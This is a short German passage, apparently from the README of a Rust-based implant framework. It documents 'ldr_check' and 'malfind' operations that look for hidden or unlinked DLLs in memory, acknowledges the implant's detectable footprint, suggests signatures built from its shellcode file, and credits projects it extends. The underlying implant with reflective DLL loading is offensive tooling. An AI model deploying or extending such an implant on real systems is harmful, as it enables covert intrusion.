| { "op": "malfind", "pid": "all" } |
---
### ldr_check (0x48)
Vergleiche IMAGE-Speicherbereiche mit der PEB-Modulliste, um nicht verknüpfte oder versteckte DLLs zu finden — Bereiche mit MZ-Headern, die nicht in `InLoadOrderModuleList` vorhanden sind. Gibt postcard-serialisiertes `Vec<ProcessResult<LdrCheckHit>>` zurück.
| Feld | Typ | |
|------|-----|-|
| pid | u32 oder `"all"` | *optional* (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Wie alle Frameworks hat auch das Implantat einen deutlichen In-Memory-Footprint und viele Klartext-Strings, die es verraten. Sie können Signaturen auf Basis der Shellcode-Datei out/shellcode.bin erstellen.
Dieses Projekt erweitert Rustic64Shell von safedev.
Die reflektiv geladene Python-DLL stammt von farfella